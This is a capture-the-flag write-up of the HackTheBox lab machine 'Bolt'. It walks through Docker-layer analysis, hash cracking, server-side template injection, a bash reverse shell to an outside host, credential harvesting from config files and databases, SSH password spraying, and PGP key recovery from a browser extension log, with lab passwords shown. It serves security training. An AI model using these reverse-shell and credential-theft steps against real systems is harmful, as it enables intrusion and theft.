Post

HTB - Bolt

MACHINEBolt
MACHINE CREATORd4rkpayl0ad & TheCyberGeek
DIFFICULTYMedium
MACHINE IP10.10.11.114

We first begin by performing an nmap scan on the target to determine what ports are open and services running behind them.

image

In this case we have three ports open: 22, 80 & 443. Both webservers seem to be running on nginx. We also find a possible vhost called passbolt.bolt.htb leaked by the ssl-cert on port 443. We can then add bolt.htb & passbolt.bolt.htb to the hosts file located in /etc/hosts/

We can go ahead and browse through the site running on 80

image

Looking at the site running on 443, we get passbolt login page.

image

Passbolt is an open source password manager designed for collaboration. You can securely generate, store, manage and monitor your team credentials.

Since we found passbolt.bolt.htb earlier, we can try fuzz if there could be any other VHOSTS.

image

Awesome, so we found mail.* & * demo.*. We need to add them to the hosts file too and have a look at them.

image

The login page on demo.* resembles the login page on bolt.htb. if we try creating an account, we realise we need to have an invite code. So i tried random characters and that didn’t seem to work.

image

mail.* seems to be running Roundcube webmail. However, we dont have a username:password that we can login with.

Back to the site running on port 80, we have an option to download a docker image which seems to contain a basic web page package.

image

The docker images is about 154mbz big and compressed into a tarball. We can try load the docker image using the following command:

docker load -i image.tar

image

We can then run the container as:

docker run -it --name <name> flask-dashboard-adminlte_appseed-app:latest /bin/sh

image

We can begin browsing around to see if we can find anything useful. In this case we find an interesting config file in the current directory with hints to where the application might be running from, potential credentials and database information.

image

Enumerating the container for a while, i didn’t find anything useful.

I was kinda stuck at this point on how to proceed until a friend suggested i can use a tool called dive to analyse the docker image layers.

dive is a tool for exploring a docker image, layer contents, and discovering ways to shrink the size of your Docker/OCI image.

You can install the tool with this simple one-liner:

wget https://github.com/wagoodman/dive/releases/download/v0.10.0/dive_0.10.0_linux_amd64.deb && sudo apt install ./dive_0.10.0_linux_amd64.deb

Run dive as follows dive docker-archive://image.tar

image

image

Extracting the tar file we get the following layers :

image

Basically, a layer, or docker image layer is a change on an image, or an intermediate image.

Extracting the tar file in a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2, we get the db file.

image

We can use sqlitebrowser to browse the database file as follows:

sqlitebrowser db.sqlite3

image

We now have some creds we can use to login to the site running on port 80

  • Username: admin
  • Email: admin@bolt.htb
  • Password: $1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.

Alternatively, if you prefer the cli way:

image

Using Cyberchef, we can decode the string from hex and get the same value.

image

Or….:

image

We can use the hashcat wiki to determine the type of hash used and the mode to use with hashcat:

image

Looks like md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) 2. The mode in this case is 500

Lets go ahead and crack this hash.

image

1
2
3
hashcat -m 500 -a 0 hash /usr/share/wordlists/rockyou.txt
or
john --wordlist=/usr/share/wordlists/rockyou.txt hash

image

If we head over to http://bolt.htb/login and login with the credentials found, we get the following dashboard

image

image

Looking at the admin’s mail box we get:

image

Clicking any of the mails, we get an Internal Sever Error:

image

Back on the dashboard, we found a chat between Alexander Pierce & Sarah Bullock

image image

From their coversation, Alexander mentions that “Our demo is currently restricted to invite only.” When i tried creating an account earlier on demo.bolt.htb, i realised i needed an invite code.

image

This means we have some more scraping to do on the layers and looks at the other modified files

Extracting contents on 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad layer, we’d be particularly interested in:

image

Looking at route.py, we get an Invite Code: XNSS-HSJW-3NGU-8XTJ

image

Using the invite code, we can now create an account

image

Upon successful registration, we are taken to the login page and authenticating successfully should land you to this page:

image

It looks preety similar to the first site except that it has more functionalities on the left nav bar.

Further code analysis on 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/home/routes.py, i discovered you can actually reuse the account creds to login to RoundCube mail.

image

We also have potential SSTI(Server Side Template Injection) Vulnerability in the update name feature.

image

From Portswigger Academy, Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server. As the name suggests, server-side template injection payloads are delivered and evaluated server-side, potentially making them much more dangerous than a typical client-side template injection.

So lets actually try updating our name.

image

If we reload our mailbox ,we get an Email

image

A confirmation link is sent and upon clicking it, we get another mail informing us that our profile changes have been confirmed.

image

If we try supplying a payload like:

image

the output is reflected back in the mail :

image

You can get more payloads from payloadbox , hacktricks

Lets try some more payloads

image

We see that the webserver is running as www-data

image

So i created a html file that will give me a reverse on my local machine when CURLed. Simply run the following command in your local machine:

echo 'bash -c "bash -i >& /dev/tcp/10.10.16.92/7272 0>&1"' > index.html

Spin a simple python server to serve the file.

sudo python3 -m http.server 1337

You can then use the following payload to set the name.

image

Make sure you are running a nc listener to listen for incoming connections. If you then go back to roundcube and click the verification link sent, you should have a shell.

After getting a shell, we can stabilise it and start doing some enumeration.

image

Looks like we are in /var/www/demo. Looking at the config.py i got some DB credentials

image

I then learnt that all sites were hosted in /var/www/ , so i went ahead to get more creds in /var/www/dev/config.py

image

and finally in /var/www/roundcube/config/config.inc.php

image

Since we know nginx webserver was used, we can look at the the sites-enabled dir to get configuration file related to passbolt and discover the webroot. The config file can be found in /etc/nginx/sites-enabled/nginx-passbolt.conf

image

From the info above and some google fu, i learnt that the database configuration file are defined in a file called passbolt.php. This file can be found in /etc/passbolt

image

With all the credentials gathered ,lets proceed to explore the DB to dump potentially useful information.

/var/www/demo/config.pybolt_dba:dXUUHSW9vBpH5qRB
/var/www/dev/config.pybolt_dba:dXUUHSW9vBpH5qRB
/var/www/roundcube/config/config.inc.phproundcubeuser:WXg5He2wHt4QYHuyGET
/etc/passbolt/passbolt.phppassbolt:rT2;jW7<eY8!dX8}pQ8% DB:passboltdb

Dumping stuff from bolt_dba:dXUUHSW9vBpH5qRB

1
2
3
4
mysql -u bolt_dba -p
show databases;
use boltmail;
select * from user;

…and we get:

image

This was the credential we got from analyzing the docker image layers

Dumping stuff from roundcubeuser:WXg5He2wHt4QYHuyGET

1
2
3
4
mysql -u roundcubeuser -p
show databases;
use roundcube;
select * from users;

..and we get:

image

This were basically my mail auth details for roundcube mail. The other user was a different player on HTB.

Dumping stuff from passbolt:rT2;jW7<eY8!dX8}pQ8% DB:passboltdb

1
2
3
4
5
mysql -u passbolt -D passboltdb -p
select * from users;
select * from gpgkeys;
select * from secrets;
select * from authentication_tokens;

..and we get 2 users: clark & eddie

image

Dumping the secrets table i got a PGP message. Copy the message and save it as message.gpg on your machine.

image

I was also able to retrieve the authentication tokens for both users. (This will come in handy later in the writeup)

image

Using the credentials gathered, i tried spraying passwords to try see which can be used to authenticate using on ssh.

image

I managed to get eddie’s credentials and read the user flag

image

00f5a09b88f00ec48e6cb62619b257ac

Looking at the banner, we see that eddie has a new mail. This would typically be found in /var/mail

image

From the email, we know that eddie was required to download the browser extension for passbolt. In this case, browser extensions in linux can be found in ~/.config/google-chrome/Default/Extensions/<Extension ID>

OSLocation
Linux~/.config/google-chrome/Default/Extensions/
Chrome OS/home/chronos/Extensions/
macOS~/Library/Application Support/Google/Chrome/Default/Extensions/
Windows XPC:\Documents and Settings\%USERNAME%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions<Extension ID>
Windows 10/8/7/VistaC:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Extensions<Extension ID>

In this case, eddie’s home dir had the .config dir. So i tried digging into the path mentioned above but couldn’t find the private key. However, looking at the ~/.config/google-chrome/Default/Local Extension Settings/<Extension ID>, i got the private key block in 000003.log file.

image

So i copied the block as is and using Vi, i run the following commands:

  • vi private-key.gpg
  • Press "i" to edit the file.
  • Paste the keyblock as is.
  • Hit “esc” key and paste the following sed commnd :%s/\\\\r\\\\n/\r/g and hit enter. This will format the key correctly by replacing \\r\\n with new lines.

Your correctly formatted key should look like so:

image

Now save the file (:wq). (I have shown the above steps just incase you are not familiar with Vi)

If we now try importing the private key, we get :

gpg --import private-key.gpg

image

This means we need to get the passphrase…In that case, we can use gpg2john to generate a hash that we can crack.

image

This gives us a passphrase as merrychristmas

We can try import again by supplying the passphrase

image

Decrypting the message we got from the DB, we get a password Z(2rmxsNW(Z?3=p/9s:

image

Assuming it’s root’s password, we can try login and get the root flag.

image

Method 2

Since we know eddie’s email address, we can head over to passbolt.bolt.htb and supply the mail for authentication.

image

You will then be notified that a mail has been sent to his mailbox for verification. In this case, we dont have access to his mailbox.

image

After doing some research and looking at passbolts community forum, we learn that we can recover an account on the network by checking the database for the token relative to the recovery. The format given to recover is:

https://<your_domain>/setup/recover/<user_id>/<authentication_token.token>

image

If we can substitute the values shown above to the format provided, we get:

https://passbolt.bolt.htb/setup/recover/4e184ee6-e436-47fb-91c9-dccb57f250bc/ea3f0b60-f557-49ec-b5de-3f21a344b05f

This now gives us an option to Download and install the browser extension

image

You then need to add the PGP private key.

image

Add the passphrase we cracked earlier for verification.

image

Enter a three character security token of your choice and pick a color.

image

You then get access to the password manager’s dashboard with credentials belonging to the root user

image

Supply the passphrase once more to view the password.

image

image

Using the creds, you can then authenticate as root and get the root flag.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.